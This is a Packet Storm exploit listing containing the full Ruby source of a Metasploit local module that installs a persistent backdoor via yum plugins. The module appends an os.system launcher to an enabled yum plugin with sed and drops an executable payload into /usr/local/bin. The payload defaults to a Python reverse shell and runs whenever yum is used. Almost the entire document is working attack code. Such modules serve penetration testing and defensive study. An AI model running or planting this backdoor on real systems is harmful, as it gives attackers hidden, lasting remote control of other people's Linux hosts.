Yum Package Manager Persistence

2019-04-30T00:00:00
ID PACKETSTORM:152689
Type packetstorm
Reporter Aaron Ringo
Modified 2019-04-30T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
include Msf::Post::Linux::System  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Yum Package Manager Persistence',  
'Description' => %q(  
This module will run a payload when the package manager is used. No  
handler is ran automatically so you must configure an appropriate  
exploit/multi/handler to connect. Module modifies a yum plugin to  
launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/  
will show what plugins are currently enabled on the system.  
),  
'License' => MSF_LICENSE,  
'Author' => ['Aaron Ringo'],  
'Platform' => ['linux', 'unix'],  
'Arch' =>  
[  
ARCH_CMD,  
ARCH_X86,  
ARCH_X64,  
ARCH_ARMLE,  
ARCH_AARCH64,  
ARCH_PPC,  
ARCH_MIPSLE,  
ARCH_MIPSBE  
],  
'SessionTypes' => ['shell', 'meterpreter'],  
'DefaultOptions' => {  
'WfsDelay' => 0, 'DisablePayloadHandler' => 'true',  
'Payload' => 'cmd/unix/reverse_python'  
},  
'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum  
'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],  
'Targets' => [['Automatic', {}]],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos  
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']),  
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])  
])  
  
register_advanced_options(  
[  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),  
OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])  
])  
end  
  
def exploit  
# checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable  
plugin = datastore['PLUGIN']  
full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py"  
print_status(full_plugin_path)  
unless writable? full_plugin_path  
fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system"  
end  
  
# /etc/yum.conf must contain plugins=1 for plugins to run at all  
plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"  
unless plugins_enabled.include? 'plugins=1'  
fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'  
end  
print_good('Plugins are enabled!')  
  
# /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1  
plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"  
plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"  
unless plugin_enabled.include? 'enabled=1'  
print_bad("#{plugin_conf} plugin is not configured to run")  
fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"  
end  
  
# plugins are made in python and generate pycs on successful execution  
unless exist? "#{full_plugin_path}c"  
print_warning('Either Yum has never been executed, or the selected plugin has not run')  
end  
  
# check for write in backdoor path and set/generate backdoor name  
backdoor_path = datastore['WritableDir']  
unless writable? backdoor_path  
fail_with Failure::BadConfig, "#{backdoor_path} is not writable"  
end  
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)  
backdoor_path << backdoor_name  
  
# check that the plugin contains an import os, to backdoor  
import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"  
unless import_os_check.include? 'import os'  
fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd"  
end  
  
# check for sed binary and then append launcher to plugin underneath  
print_status('Attempting to modify plugin')  
launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"  
sed_path = cmd_exec "command -v sed"  
unless sed_path.include?('sed')  
fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'  
end  
sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"  
cmd_exec sed_line  
  
# actually write users payload to be executed then check for write  
if payload.arch.first == 'cmd'  
write_file(backdoor_path, payload.encoded)  
else  
write_file(backdoor_path, generate_payload_exe)  
end  
unless exist? backdoor_path  
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"  
end  
  
# change perms to reflect bins in /usr/local/bin/, give good feels  
chmod(backdoor_path, 0755)  
print_status("Backdoor uploaded to #{backdoor_path}")  
print_status('Backdoor will run on next Yum update')  
end  
end  
`